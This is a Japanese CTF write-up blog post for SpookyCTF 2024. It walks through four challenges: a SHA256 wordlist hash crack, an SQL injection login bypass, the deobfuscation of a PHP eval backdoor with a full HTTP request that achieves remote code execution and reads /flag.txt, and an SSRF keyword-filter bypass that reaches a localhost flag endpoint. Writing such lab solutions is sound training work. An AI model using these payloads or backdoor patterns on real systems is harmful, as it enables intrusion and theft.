はまやんはまやんはまやん

hamayanhamayan's blog

SpookyCTF 2024 Writeups

https://ctftime.org/event/251634

[crypto] the-moth-flies-at-dawn

hash.txtというハッシュが書かれたファイルとwordList.txtという辞書ファイルが与えられる。ヒントが問題の本質。

HINT: It would be a SHAme if all 256 of these meals went to waste.

ということで、何かのSHA256ハッシュを取ったものが、hash.txtとして置かれているようである。ChatGPTでpythonでwordList.txtに書かれた各行をsha256ハッシュにして、hash.txtと一致するものを出力したいのように指示してコードを書かせる。

import hashlib

# ファイルのパスを指定します
wordlist_path = 'wordList.txt'
hashlist_path = 'hash.txt'

# hash.txt からハッシュ値を読み込む
with open(hashlist_path, 'r') as hash_file:
    hash_set = {line.strip() for line in hash_file}  # 各行のハッシュ値をセットに格納

# wordList.txt の各行をハッシュ化し、hash.txt 内のいずれかのハッシュと一致するか確認
with open(wordlist_path, 'r') as wordlist_file:
    for word in wordlist_file:
        word = word.strip()  # 各行のテキストを読み込み
        word_hash = hashlib.sha256(word.encode()).hexdigest()  # SHA256ハッシュを生成

        # ハッシュがhash.txt内に存在する場合、そのテキストを出力
        if word_hash in hash_set:
            print(word)

これをsolver.pyとして保存して実行すると答えが出てくる。

$ python3 solver.py 
blueberrypancake

[web] cryptid-hunters

ソースコード無し。以下のようなヒントが与えられている。

Hint: The hunters' webmaster is very tech illiterate. It seems like he just followed some intro level tutorial or used some free AI tool for the code.

アクセスして巡回するとlogin.phpというサイトがあり、ヒントが示唆するような基本的な脆弱性を試すと、SQL Injectionが刺さってフラグが出てくる。

username -> admin
password -> ' or 1=1 #

とすれば良い。

[web] entangled-server

難読化されたphpコードが与えられる。難読化を根性で復元して、変名すると以下のようになる。復元フェースが本編だと思うが、文字列を作ってそうな所をphpインタプリターを実行して文字列にちまちま変形していくのを繰り返していけばよい。

<?php

@ini_set("error_log",NULL);
@ini_set("log_errors",0);
@ini_set("max_execution_time",0);
@set_time_limit(0);
$input=NULL;
$key=NULL;
$GLOBALS["secret"]="5p1n-th3-51lly-5tr1ng5";
global $secret;
function f1($input,$key){
    $res="";
    for($i=0; $i<strlen($input);){
        for($j=0; $j<strlen($key) && $i<strlen($input); $j++,$i++){
            $res.=chr(ord($input[$i])^ord($key[$j]));
        }
    }
    return $res;
}

function f2($input,$key){
    global $secret;
    return f1(f1($input,$secret),$key);
}

if(!$input){
    foreach($_POST as $_key => $_val){
        $input=$_val;
        $key=$_key;
    }
}

$input = @json_decode(f2(base64_decode($input),$key),true);

if(isset($input["ak"]) && $secret==$input["ak"]){
    if($input["a"]=="e"){
        eval($input[d]);
    }
    exit();
}

?>

secretとkeyでXORしているのでsecretとkeyを一致させてやれば変換後は入力と同じものとなる。よって、以下のようなリクエストを送ればRCEできる。

POST /?c=id HTTP/1.1
Host: [redacted]:1337
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 135

5p1n-th3-51lly-5tr1ng5=eyJhayI6IjVwMW4tdGgzLTUxbGx5LTV0cjFuZzUiLCAiYSI6ImUiLCAiZCI6ImVjaG8gcGFzc3RocnUoJ2NhdCAvZmxhZy50eHQnKTsifQ%3d%3d

base64エンコード部分は{"ak":"5p1n-th3-51lly-5tr1ng5", "a":"e", "d":"echo passthru('cat /flag.txt');"}

[web] paranormal-picture

ソースコード有り。pythonで書かれたwebサイトが与えられる。フラグは以下にある。

@app.route('/flag')
def flag():
    if request.remote_addr == '::ffff:127.0.0.1' or request.remote_addr == '::1':
        return render_template('flag.html', FLAG=os.environ.get("FLAG"))

    else:
        return render_template('alarm.html'), 403

SSRFをしないといけない。SSRFができるポイントは以下にある。

def verifyBlog(url):
    blog_list = ["blog","cryptid","real","666",".org"]
    for word in blog_list:
        if word not in url:
            return False
    return True


@app.route('/', methods=['GET', 'POST'])
def index():

    if request.method == 'POST':
        url = request.form['url']
        try:
            result = verifyBlog(url)
            if not result:
                return render_template('index.html', error=f"Please submit a blog!")
        except:
            return render_template('index.html', error=f"Please submit a blog!")

        r = requests.get(url)

        return render_template('index.html', result=r.text)
    return render_template('index.html')

urlを入力して踏ませることができるが、verifyBlogを通す必要がある。これは["blog","cryptid","real","666",".org"]をURLに全て含んでいる必要があるというものであるが、この文字列がURLに入ってさえいればいいので、query-stringsとして埋め込むことにしよう。よって、http://localhost/flagにアクセスしたいのだが、

http://localhost/flag?blogcryptidreal666.org

を送ればフラグが得られる。